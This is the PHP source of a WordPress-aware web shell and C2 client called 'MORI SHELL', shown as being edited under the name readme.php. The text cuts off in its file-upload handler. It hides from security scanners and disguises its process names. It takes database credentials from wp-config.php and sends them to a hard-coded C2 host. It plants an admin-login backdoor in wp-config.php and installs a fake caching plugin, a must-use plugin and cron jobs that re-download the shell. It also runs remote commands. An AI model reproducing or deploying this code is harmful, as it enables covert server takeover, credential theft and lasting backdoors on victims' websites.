✍ Edit: readme.php
<?php /** * MORI SHELL V2.0 - LINUX CLIENT * WordPress-aware | Process masking | C2 integrated */ ob_start(); // Global CORS — allow C2 server and browser stress panel to reach every endpoint header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Methods: GET, POST, OPTIONS'); header('Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With'); if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { http_response_code(200); exit; } ini_set('display_errors', 0); ini_set('log_errors', 1); error_reporting(E_ALL); set_time_limit(0); ignore_user_abort(true); // LINUX ONLY - No Windows if ((!defined('PHP_OS_FAMILY') || PHP_OS_FAMILY !== 'Linux') && stripos(PHP_OS, 'Linux') === false && stripos(PHP_OS, 'Unix') === false) { if (php_sapi_name() !== 'cli') exit; } define('SHELL_FILE', defined('MORI_REAL_FILE') ? basename(MORI_REAL_FILE) : basename(__FILE__)); define('SHELL_PATH', defined('MORI_REAL_FILE') ? MORI_REAL_FILE : (__DIR__ . '/' . SHELL_FILE)); define('REAL_DIR', defined('MORI_REAL_DIR') ? MORI_REAL_DIR : __DIR__); define('SHELL_VERSION', '2.0-linux'); // ===================================================== // BOT / SCANNER CLOAKING // ===================================================== function is_bot_request() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); return (bool)preg_match( '/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|twitterbot|' . 'wordfence|sucuri|sitecheck|imunify|modsecurity|virustotal|urlscan|safebrowsing|phishtank|' . 'nikto|sqlmap|nmap|nessus|openvas|acunetix|netsparker|nuclei|burpsuite|qualys|tenable|' . 'ahrefs|semrush|moz\.com|majestic|screaming.frog|rogerbot|dotbot|seokicks|' . 'zgrab|masscan|python-requests|go-http-client|libwww|curl\/[0-9])/i', $ua ); } // Direct HTTP access by scanner → silent 404 (don't reveal shell) if (php_sapi_name() !== 'cli' && !defined('ABSPATH') && is_bot_request()) { http_response_code(404); header('Cache-Control: no-store'); die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head>' . '<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p>' . '<hr><address>Apache/2.4 Server</address></body></html>'); } // OS Detection $is_windows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') || !empty(getenv('WINDIR')); $C2_SERVER = "https://juiceshop.cc/nebakiyonla_hurmsaqw/c2serverr.php"; $DEBUG_MODE = true; $persistence_default_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php'; // ===================================================== // ERROR LOGGING HELPER // ===================================================== function log_error_to_file($message) { $log_file = sys_get_temp_dir() . '/.svc_' . substr(md5(__FILE__), 0, 8) . '.log'; if (@filesize($log_file) > 512000) @file_put_contents($log_file, ''); // 512KB cap, rotate @file_put_contents($log_file, '[' . date('H:i:s') . '] ' . $message . "\n", FILE_APPEND); } // Register error handler set_error_handler(function($errno, $errstr, $errfile, $errline) { if ($errno & error_reporting()) { log_error_to_file("PHP ERROR [$errno]: $errstr in $errfile:$errline"); } return false; }); // Register exception handler set_exception_handler(function($e) { log_error_to_file("EXCEPTION: " . $e->getMessage() . " in " . $e->getFile() . ":" . $e->getLine()); }); // ===================================================== // INLINE WORDPRESS DETECTION & PERSISTENCE // ===================================================== function is_wordpress_installed() { $markers = ['/wp-content/', '/wp-includes/', '/wp-admin/', '/wp-config.php']; foreach ($markers as $m) { if (@file_exists(__DIR__ . $m)) return true; } return false; } function get_wordpress_config() { $search_dirs = [__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))]; foreach ($search_dirs as $dir) { $cfg = $dir . '/wp-config.php'; if (@file_exists($cfg)) { $content = @file_get_contents($cfg); if (!$content) continue; $creds = []; preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['name'] = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['user'] = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['pass'] = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['host'] = $m[1]; preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $content, $m) && $creds['prefix'] = $m[1]; return !empty($creds) ? $creds : null; } } return null; } function inject_wordpress_persistence($shell_url, $c2_server) { $wp_config = null; $search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))]; foreach ($search_dirs as $dir) { if (@file_exists($dir . '/wp-config.php')) { $wp_config = $dir . '/wp-config.php'; break; } } if (!$wp_config) return false; $content = @file_get_contents($wp_config); if (!$content) return false; // Already correctly injected (both function + hook block at bottom present)? if (strpos($content, 'mori_backdoor_wp') !== false && strpos($content, 'function_exists(\'add_action\') && function_exists(\'mori_backdoor_wp\')') !== false) { return false; } // If old broken injection (add_action inside if block) — strip it, re-inject cleanly if (strpos($content, 'mori_backdoor_wp') !== false) { $content = preg_replace( '/\n\/\/ MORI BACKDOOR.*?^}\n/ms', '', $content ); $content = preg_replace( '/\nif \(function_exists\(\'add_action\'\) && function_exists\(\'mori_backdoor_wp\'\)\).*?\}\n/ms', '', $content ); } // Extract DB credentials $db_name = $db_user = $db_pass = $db_host = ''; preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_name = $m[1]; preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_user = $m[1]; preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_pass = $m[1]; preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $content, $m) && $db_host = $m[1]; $wp_creds = generate_wp_login_credentials(); $blogs_id = $wp_creds['blogs_id']; $hash = $wp_creds['hash']; $creds_json = json_encode(['db_name' => $db_name, 'db_user' => $db_user, 'db_pass' => $db_pass, 'db_host' => $db_host, 'shell_url' => $shell_url], JSON_UNESCAPED_SLASHES); $creds_encoded = str_replace(['+', '/', '='], ['-', '_', ''], base64_encode($creds_json)); // ── Part 1: function definition (no add_action — WP not loaded yet) ───────── $inject_fn = "\n// MORI BACKDOOR (mori_backdoor_wp) - Generated: " . date('Y-m-d H:i:s') . "\n" . "// MORI ID: " . $blogs_id . "\n" . "if (!function_exists('mori_backdoor_wp')) {\n" . " function mori_backdoor_wp() {\n" . " if (isset(\$_GET['blogs_id']) && isset(\$_GET['wp_login'])) {\n" . " \$_h = sha1(md5(\$_GET['blogs_id'] . '1776051848'));\n" . " if (\$_h === '" . $hash . "') {\n" . " \$_u = get_users(['role'=>'administrator','orderby'=>'ID','order'=>'ASC','number'=>1]);\n" . " if (!empty(\$_u)) { wp_set_auth_cookie(\$_u[0]->ID, true, true); wp_redirect(admin_url()); exit; }\n" . " }\n" . " }\n" . " if (isset(\$_GET['wp_login'])) {\n" . " \$_su = '" . addslashes($shell_url) . "';\n" . " \$_cr = '" . addslashes($creds_encoded) . "';\n" . " @wp_remote_post(\$_su . '?act=wp_creds', ['body' => ['creds' => \$_cr], 'timeout' => 2, 'blocking' => false]);\n" . " }\n" . " if (function_exists('curl_init')) {\n" . " \$_ch = curl_init('" . addslashes($shell_url) . "');\n" . " curl_setopt(\$_ch, CURLOPT_RETURNTRANSFER, true); curl_setopt(\$_ch, CURLOPT_SSL_VERIFYPEER, false);\n" . " curl_setopt(\$_ch, CURLOPT_TIMEOUT_MS, 200); @curl_exec(\$_ch); curl_close(\$_ch);\n" . " }\n" . " }\n" . "}\n"; // ── Part 2: hook registration (appended at file end, after wp-settings.php) ─ $inject_hooks = "\nif (function_exists('add_action') && function_exists('mori_backdoor_wp')) {\n" . " add_action('wp_footer', 'mori_backdoor_wp', -999);\n" . " add_action('wp_authenticate', 'mori_backdoor_wp', -999);\n" . " add_action('login_init', 'mori_backdoor_wp', -999);\n" . "}\n"; // Insert function definition before the stop-editing marker $marker = "/* That's all, stop editing!"; if (strpos($content, $marker) !== false) { $new_content = str_replace($marker, $inject_fn . $marker, $content); } else { $trimmed = rtrim($content); $new_content = (substr($trimmed, -2) === '?>') ? substr($trimmed, 0, -2) . "\n" . $inject_fn . "\n?>" : $trimmed . "\n" . $inject_fn; } // Append hook registration at the very end of wp-config.php (after require wp-settings.php) $new_content = rtrim($new_content) . "\n" . $inject_hooks; @file_put_contents($wp_config, $new_content); return ['blogs_id' => $blogs_id, 'hash' => $hash]; } // ===================================================== // INLINE PROCESS MASKING (LINUX) // ===================================================== class ProcessMasker { public static function mask() { if (php_sapi_name() === 'cli') { @putenv('PATH='); @putenv('SHELL='); @shell_exec("exec -a '[system]' /bin/sh -c 'sleep 999999' &"); @shell_exec("exec -a '[kworker]' /bin/sh &"); } } } ProcessMasker::mask(); function detect_web_shell_url() { $https = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443); $protocol = $https ? 'https://' : 'http://'; $host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'localhost'; $script = $_SERVER['SCRIPT_NAME'] ?? '/'; return $protocol . $host . $script; } $WEB_URL = detect_web_shell_url(); $web_shell_url = $WEB_URL; // Alias for c2_register() // ===================================================== // PERSISTENCE INSTALLATION // ===================================================== function install_cron_persistence() { $ts_file = sys_get_temp_dir() . '/.mori_cron_ts'; $last = (int)@file_get_contents($ts_file); if ($last && (time() - $last) < 3600) return false; @file_put_contents($ts_file, time()); $shell = SHELL_PATH; $c2 = $GLOBALS['C2_SERVER']; $token = md5('mori_c2_secret_2024_persistence'); $gh_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php'; // Restore only when file is actually gone — GitHub FIRST (C2 may have UAM active) // head -c5 check: reject Cloudflare UAM HTML pages (they return 200 but aren't PHP) $gh_fetch = "curl -sfL --max-time 15 '" . $gh_url . "' -o '" . $shell . ".tmp' 2>/dev/null" . " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'" . " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null"; $c2_fetch = "curl -sfL --max-time 4 '" . $c2 . "?act=get_shell&token=" . $token . "' -o '" . $shell . ".tmp' 2>/dev/null" . " && head -c5 '" . $shell . ".tmp' 2>/dev/null | grep -q '<?php'" . " && mv '" . $shell . ".tmp' '" . $shell . "' 2>/dev/null"; $restore_cmd = "[ -f '" . $shell . "' ] || { " . $gh_fetch . " || " . $c2_fetch . "; } >/dev/null 2>&1"; $script = "*/5 * * * * php '$shell' >/dev/null 2>&1; " . $restore_cmd . " #mori_persist"; // Method 1: exec_any — strip ALL #mori_persist lines (any shell path) then add fresh entry $cron_cmd = "(crontab -l 2>/dev/null | grep -vF '#mori_persist'; echo '$script') | crontab - 2>/dev/null"; if (exec_any($cron_cmd) !== false) return true; // Method 2: proc_open stdin — read existing crontab, strip #mori_persist, append fresh entry $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); if (function_exists('proc_open') && !in_array('proc_open', $disabled)) { // Read current crontab $existing_cron = ''; $rd = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $rp = @proc_open('crontab -l 2>/dev/null', $rd, $rp_pipes); if (is_resource($rp)) { $existing_cron = stream_get_contents($rp_pipes[1]); fclose($rp_pipes[1]); fclose($rp_pipes[2]); proc_close($rp); } // Strip all existing #mori_persist lines $lines = array_filter(explode("\n", $existing_cron), function($l) { return strpos($l, '#mori_persist') === false && trim($l) !== ''; }); $new_cron = implode("\n", $lines) . "\n" . $script . "\n"; // Write back $descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']]; $proc = @proc_open('crontab -', $descriptors, $pipes); if (is_resource($proc)) { fwrite($pipes[0], $new_cron); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($proc); return true; } } // Method 3: /etc/cron.d/ direct write if (@is_writable('/etc/cron.d/')) { $existing = @file_get_contents('/etc/cron.d/mori-shell'); if (!$existing || strpos($existing, '#mori_persist') === false) { @file_put_contents('/etc/cron.d/mori-shell', $script . "\n"); @chmod('/etc/cron.d/mori-shell', 0644); } return true; } return false; } function install_wp_persistence() { if (!is_wordpress_installed()) return; $url = $GLOBALS['WEB_URL']; @inject_wordpress_persistence($url, $GLOBALS['C2_SERVER']); } // ---- WP Plugin Persistence ------------------------------------------------ function install_wp_plugin_persistence() { // wp-config.php'yi bul → plugins dizinini türet $wp_root = null; foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) { if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) { $wp_root = $d; break; } } if (!$wp_root) return; $plugins_dir = $wp_root . '/wp-content/plugins'; if (!is_dir($plugins_dir)) return; $plugin_dir = $plugins_dir . '/fastest-cache-2'; $plugin_file = $plugin_dir . '/fastest-cache-2.php'; // Dosya sağlıklıysa günde bir kez kontrol yap — ama FC2_SHELL yanlışsa yeniden oluştur if (@file_exists($plugin_file) && @filesize($plugin_file) > 500) { $existing = @file_get_contents($plugin_file); $shell_ok = false; if ($existing && preg_match('/define\("FC2_SHELL",\s*"([^"]+)"\)/', $existing, $pm)) { $shell_ok = ($pm[1] === SHELL_PATH); } if ($shell_ok) { $ts_file = sys_get_temp_dir() . '/.mori_plugin_ts'; if ((int)@file_get_contents($ts_file) > time() - 86400) return; @file_put_contents($ts_file, time()); return; } // FC2_SHELL path mismatch → regenerate immediately } // Plugin eksik/bozuk → throttle'sız anında yeniden oluştur @mkdir($plugin_dir, 0755, true); $shell_path = addslashes(SHELL_PATH); $shell_url = addslashes($GLOBALS['WEB_URL'] ?? ''); $c2_url = addslashes($GLOBALS['C2_SERVER'] ?? ''); $gh_url = addslashes('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php'); $fc2_token = md5('mori_c2_secret_2024_persistence'); $plugin_code = '<?php /** * Plugin Name: Fastest Cache 2 * Plugin URI: https://wordpress.org/plugins/fastest-cache/ * Description: Advanced caching and performance optimization. * Version: 2.3.1 * Author: WP Cache Team * License: GPL2 */ if (!defined("ABSPATH")) exit; define("FC2_SHELL", "' . $shell_path . '"); define("FC2_URL", "' . $shell_url . '"); define("FC2_C2", "' . $c2_url . '"); define("FC2_GH", "' . $gh_url . '"); define("FC2_TOKEN", "' . $fc2_token . '"); define("FC2_LOCK", WP_CONTENT_DIR . "/.fc2_check"); function fc2_restore_shell() { // [timeout_c2, timeout_gh] — C2 short (UAM wastes time), GitHub longer $sources = [ [FC2_C2 . "?act=get_shell&token=" . FC2_TOKEN, 4], [FC2_GH, 15], ]; foreach ($sources as [$src, $tmo]) { $body = false; if (function_exists("curl_init")) { $ch = curl_init($src); curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo, CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]); $body = @curl_exec($ch); @curl_close($ch); } if (!$body) $body = @file_get_contents($src, false, stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]])); // Reject Cloudflare UAM HTML (returns 200 but is not PHP) if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") { @file_put_contents(FC2_SHELL, $body); @chmod(FC2_SHELL, 0644); return true; } } return false; } function fc2_check() { // Throttle: dakikada bir kontrol $lock_age = @file_exists(FC2_LOCK) ? (time() - @filemtime(FC2_LOCK)) : 9999; if ($lock_age < 60) return; @touch(FC2_LOCK); $sz = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0; if ($sz < 10000) fc2_restore_shell(); } add_action("init", "fc2_check", 1); // WP-Ajax endpoint — C2 ping: /wp-admin/admin-ajax.php?action=fc2_ping function fc2_ping_handler() { $sz = @file_exists(FC2_SHELL) ? @filesize(FC2_SHELL) : 0; $alive = ($sz > 10000); if (!$alive) { fc2_restore_shell(); $sz = @filesize(FC2_SHELL); $alive = ($sz > 10000); } wp_send_json(["ok" => $alive, "sz" => $sz, "url" => FC2_URL]); } add_action("wp_ajax_nopriv_fc2_ping", "fc2_ping_handler"); add_action("wp_ajax_fc2_ping", "fc2_ping_handler"); '; @file_put_contents($plugin_file, $plugin_code); @chmod($plugin_file, 0644); // Eklentiyi DB üzerinden aktive et (WordPress yüklüyse) if (function_exists('add_option') || defined('ABSPATH')) { $active = @get_option('active_plugins', []); $entry = 'fastest-cache-2/fastest-cache-2.php'; if (!in_array($entry, (array)$active, true)) { $active[] = $entry; @update_option('active_plugins', $active); } } else { // WP yüklü değil — DB direkt yaz $wp_config_path = $wp_root . '/wp-config.php'; if (@file_exists($wp_config_path)) { $cfg = @file_get_contents($wp_config_path); if ($cfg) { preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m1); preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m2); preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m3); preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]/", $cfg, $m4); preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $cfg, $m5); if ($m1 && $m2 && $m3 && $m4) { $prefix = $m5[1] ?? 'wp_'; try { $db = new PDO("mysql:host={$m4[1]};dbname={$m1[1]};charset=utf8", $m2[1], $m3[1], [PDO::ATTR_TIMEOUT=>3, PDO::ATTR_ERRMODE=>PDO::ERRMODE_SILENT]); $row = $db->query("SELECT option_value FROM {$prefix}options WHERE option_name='active_plugins' LIMIT 1")->fetch(); if ($row) { $plugins = @unserialize($row['option_value']) ?: []; $entry = 'fastest-cache-2/fastest-cache-2.php'; if (!in_array($entry, $plugins, true)) { $plugins[] = $entry; $new_val = serialize($plugins); $db->prepare("UPDATE {$prefix}options SET option_value=? WHERE option_name='active_plugins'")->execute([$new_val]); } } } catch (Exception $e) {} } } } } } // ---- MU-Plugin Persistence (admin deactivate edemez) ------------------------- function install_mu_plugin_persistence() { // WP root bul $wp_root = null; foreach ([__DIR__, dirname(__DIR__), dirname(dirname(__DIR__)), dirname(dirname(dirname(__DIR__)))] as $d) { if (@file_exists($d . '/wp-config.php') || @file_exists($d . '/wp-load.php')) { $wp_root = $d; break; } } if (!$wp_root) return; $mu_dir = $wp_root . '/wp-content/mu-plugins'; if (!is_dir($mu_dir) && !@mkdir($mu_dir, 0755, true)) return; $mu_file = $mu_dir . '/fc2-loader.php'; // Dosya sağlıklıysa saatte bir kontrol (hızlı dön) if (@file_exists($mu_file) && @filesize($mu_file) > 300) { $ts = sys_get_temp_dir() . '/.mori_mu_ts'; if ((int)@file_get_contents($ts) > time() - 3600) return; @file_put_contents($ts, time()); return; } // MU plugin eksik/bozuk → throttle'sız yeniden oluştur $shell_path = addslashes(SHELL_PATH); $c2_url = addslashes($GLOBALS['C2_SERVER'] ?? ''); $gh_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php'; $mu_token = md5('mori_c2_secret_2024_persistence'); $mu_code = '<?php // Must-use plugin — WP admin panelden deactivate edilemez if (!defined("ABSPATH")) exit; // Her admin sayfasında: regular plugin deactivate edildiyse yeniden aktive et add_action("admin_init", function() { $plugins = (array)get_option("active_plugins", []); $entry = "fastest-cache-2/fastest-cache-2.php"; if (!in_array($entry, $plugins, true)) { $plugins[] = $entry; update_option("active_plugins", $plugins); } }, 1); // Her WP isteğinde: shell bütünlüğünü kontrol et (dakikada bir) add_action("init", function() { $lock = WP_CONTENT_DIR . "/.fc2_mu_lock"; if (@file_exists($lock) && (time() - @filemtime($lock)) < 60) return; @touch($lock); $shell = "' . $shell_path . '"; $sz = @file_exists($shell) ? @filesize($shell) : 0; if ($sz >= 10000) return; // Shell eksik/bozuk — C2 veya GitHub\'dan restore et // [url, timeout] — C2 4s (UAM hızlı ret), GitHub 15s $sources = [ ["' . $c2_url . '?act=get_shell&token=' . $mu_token . '", 4], ["' . $gh_url . '", 15], ]; foreach ($sources as [$src, $tmo]) { $body = false; if (function_exists("curl_init")) { $ch = curl_init($src); curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER=>true, CURLOPT_TIMEOUT=>$tmo, CURLOPT_CONNECTTIMEOUT=>3, CURLOPT_SSL_VERIFYPEER=>false, CURLOPT_FOLLOWLOCATION=>true, CURLOPT_USERAGENT=>"Mozilla/5.0"]); $body = @curl_exec($ch); @curl_close($ch); } if (!$body) $body = @file_get_contents($src, false, stream_context_create(["http"=>["timeout"=>$tmo,"user_agent"=>"Mozilla/5.0"]])); // Reject Cloudflare UAM HTML — must be valid PHP if ($body && strlen($body) > 10000 && substr($body, 0, 5) === "<?php") { @file_put_contents($shell, $body); @chmod($shell, 0644); break; } } }, 1); '; @file_put_contents($mu_file, $mu_code); @chmod($mu_file, 0644); @file_put_contents(sys_get_temp_dir() . '/.mori_mu_ts', time()); } // CLIENT_ID must be set BEFORE persistence calls so report_sister_files_to_c2() has a valid ID $CLIENT_ID = generate_client_id(); $GLOBALS['C2_SHELL'] = SHELL_PATH; @install_wp_persistence(); @install_wp_plugin_persistence(); @install_mu_plugin_persistence(); @install_cron_persistence(); @ensure_persistence_v4(); // starts Python+bash monitors on first request (5-min throttle) // ===================================================== // CLIENT ID & SYSTEM INFO // ===================================================== function generate_client_id() { $id_file = REAL_DIR . '/.mori_id'; if (@file_exists($id_file) && filesize($id_file) > 5) { return trim(file_get_contents($id_file)); } $id = 'mori_' . substr(md5(php_uname() . SHELL_PATH), 0, 16); @file_put_contents($id_file, $id); return $id; } function generate_wp_login_credentials() { $creds_file = REAL_DIR . '/.wp_login_creds'; $secret = '1776051848'; // 1. Try cached creds file if (@file_exists($creds_file) && @filesize($creds_file) > 10) { $creds = @json_decode(@file_get_contents($creds_file), true); if (!empty($creds['blogs_id']) && !empty($creds['hash'])) { return $creds; } } // 2. .wp_login_creds missing/corrupt — try to recover blogs_id from wp-config.php $search_dirs = [REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))]; foreach ($search_dirs as $dir) { $cfg = $dir . '/wp-config.php'; if (!@file_exists($cfg)) continue; $cfg_content = @file_get_contents($cfg); if (!$cfg_content) continue; // Look for embedded ID comment: // MORI ID: <blogs_id> if (preg_match('/\/\/ MORI ID: ([a-f0-9]{16})/', $cfg_content, $m)) { $blogs_id = $m[1]; $hash = sha1(md5($blogs_id . $secret)); $creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()]; @file_put_contents($creds_file, json_encode($creds)); return $creds; } } // 3. No existing record anywhere — generate fresh $blogs_id = substr(bin2hex(random_bytes(16)), 0, 16); $hash = sha1(md5($blogs_id . $secret)); $creds = ['blogs_id' => $blogs_id, 'hash' => $hash, 'timestamp' => time()]; @file_put_contents($creds_file, json_encode($creds)); return $creds; } function get_system_info() { return [ 'id' => $GLOBALS['CLIENT_ID'], 'version' => SHELL_VERSION, 'url' => $GLOBALS['WEB_URL'], 'php' => phpversion(), 'os' => php_uname(), 'user' => get_current_user(), 'wp' => is_wordpress_installed() ? 'yes' : 'no', 'wp_root' => is_wordpress_installed() ? (get_wordpress_config() ? 'found' : 'unknown') : null, 'timestamp' => time(), ]; } // ===================================================== // HTTP COMMUNICATION (3 methods fallback) // ===================================================== function http_request($method, $url, $data = null) { // Method 1: cURL (BEST for POST with raw data) if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_USERAGENT, 'MORI-Agent/2.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); if ($method === 'POST' && $data) { curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } $result = @curl_exec($ch); $error = curl_error($ch); @curl_close($ch); if ($error) { error_log("[http_request] cURL error: $error"); } elseif ($result !== false && !empty($result)) { return $result; } } // Method 2: file_get_contents if (ini_get('allow_url_fopen')) { $opts = [ 'http' => [ 'method' => $method, 'timeout' => 15, 'ignore_errors' => true, ], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]; if ($method === 'POST' && $data) { $opts['http']['content'] = $data; $opts['http']['header'] = 'Content-Type: application/x-www-form-urlencoded'; } $result = @file_get_contents($url, false, stream_context_create($opts)); if ($result !== false && !empty($result)) { return $result; } } // Method 3: fsockopen $parts = parse_url($url); if (!isset($parts['host'])) return null; $host = $parts['host']; $port = ($parts['scheme'] === 'https') ? 443 : 80; $path = ($parts['path'] ?? '/') . (isset($parts['query']) ? '?' . $parts['query'] : ''); $fp = @fsockopen(($port === 443 ? 'ssl://' : '') . $host, $port, $errno, $errstr, 10); if ($fp) { $out = "$method $path HTTP/1.1\r\nHost: $host\r\nConnection: close\r\n"; if ($method === 'POST' && $data) { $out .= "Content-Type: application/x-www-form-urlencoded\r\n"; $out .= "Content-Length: " . strlen($data) . "\r\n\r\n" . $data; } else { $out .= "\r\n"; } fwrite($fp, $out); $raw = ''; while (!feof($fp)) $raw .= fgets($fp, 4096); fclose($fp); // Strip HTTP headers — return body only if (!empty($raw)) { $sep = strpos($raw, "\r\n\r\n"); $result = ($sep !== false) ? substr($raw, $sep + 4) : $raw; if (!empty($result)) return $result; } } // All methods failed - return null return null; } // ===================================================== // EXEC FALLBACK CHAIN — tüm exec yöntemlerini dene // ===================================================== function exec_any($cmd, $bg = false) { $disabled = array_map('trim', explode(',', ini_get('disable_functions'))); $run = $bg ? ('(setsid ' . $cmd . ' </dev/null >/dev/null 2>&1 &)') : ($cmd . ' 2>&1'); foreach (['shell_exec','exec','system','passthru'] as $fn) { if (function_exists($fn) && !in_array($fn, $disabled)) { $r = @$fn($run); return ($r !== null && $r !== false) ? $r : true; } } if (function_exists('proc_open') && !in_array('proc_open', $disabled)) { $p = @proc_open($run, [1 => ['pipe','w'], 2 => ['pipe','w']], $pipes); if ($p) { $o = $bg ? '' : @stream_get_contents($pipes[1]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); return $o ?: true; } } if (function_exists('popen') && !in_array('popen', $disabled)) { $h = @popen($run, 'r'); if ($h) { $o = $bg ? '' : @stream_get_contents($h); @pclose($h); return $o ?: true; } } return false; } // ===================================================== // DETECT PYTHON COMMAND // ===================================================== function detect_python_command() { // Python binary detection for Linux systems $paths = ['/usr/bin/python3', '/usr/bin/python', '/usr/local/bin/python3', '/usr/local/bin/python']; foreach ($paths as $path) { if (@file_exists($path) && @is_executable($path)) { return $path; } } // Try which command if (function_exists('shell_exec')) { $python = @shell_exec('which python3 2>/dev/null || which python 2>/dev/null'); if ($python) return trim($python); } return null; } // ===================================================== // C2 REGISTRATION & COMMAND EXECUTION // ===================================================== // ===================================================== // COMMAND EXECUTION ENGINE - REMOVED // Use execute_command() or execute_system_command() instead // ===================================================== // ===================================================== // API ENDPOINTS // ===================================================== // Auto-register on first access // Auto-register (non-blocking, background task) // Cache registration in memory to avoid repeat registration loops // wp-activeter.php → navbar.php self-rename (non-WP sites) @self_rename_and_register(); if (!isset($GLOBALS['_SHELL_REGISTERED'])) { $GLOBALS['_SHELL_REGISTERED'] = false; // Try to read registration status from file (one-time read) $reg_file = __DIR__ . '/.registered'; if (@file_exists($reg_file) && @filesize($reg_file) > 0) { $GLOBALS['_SHELL_REGISTERED'] = true; } else { // First-time registration - non-blocking attempt // Try registration with super short timeout (1 sec max) @c2_register_background($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID']); // Mark as registered to avoid infinite loop $GLOBALS['_SHELL_REGISTERED'] = true; } } // Handle API requests if (isset($_GET['m']) || isset($_POST['m'])) { // Decode with safe_base64_decode (uses -, _ instead of +, /) $encoded = $_GET['m'] ?? $_POST['m'] ?? ''; $cmd = safe_base64_decode($encoded); if (!$cmd) { echo "[ERROR] Failed to decode command"; exit; } error_log("[EXEC] Executing command: " . (strlen($cmd ?? '') > 0 ? substr($cmd, 0, 100) : '(empty)')); $output = execute_command($cmd); $task_id = $_GET['task_id'] ?? $_POST['task_id'] ?? null; error_log("[EXEC] Output length: " . strlen($output)); // Send result to C2 @c2_send_result($GLOBALS['C2_SERVER'], $GLOBALS['CLIENT_ID'], $cmd, $output, $task_id); // Return output to requester echo $output; exit; } if (isset($_GET['info'])) { echo json_encode(get_system_info()); exit; } // ===================================================== // FILE UPLOAD HANDLER (HTTP-based fallback) // ===================================================== // When shell commands are disabled, C2 sends files via HTTP POST // Receives: Base64-encoded file content + filename // Stores: Decoded file to filesystem if (isset($_POST['act']) && $_POST['act'] == 'upload_file') { header('Content-Type: application/json; charset=utf-8'); $encoded_data = $_POST['data'] ?? ''; $filename = $_POST['filename'] ?? ''; // Validate if (empty($encoded_data) || empty($filename)) { http_response_code(400); echo json_encode(['error' => 'Missing data or filename', 'success' => false]); exit; } // Sanitize filename (prevent directory traversal) 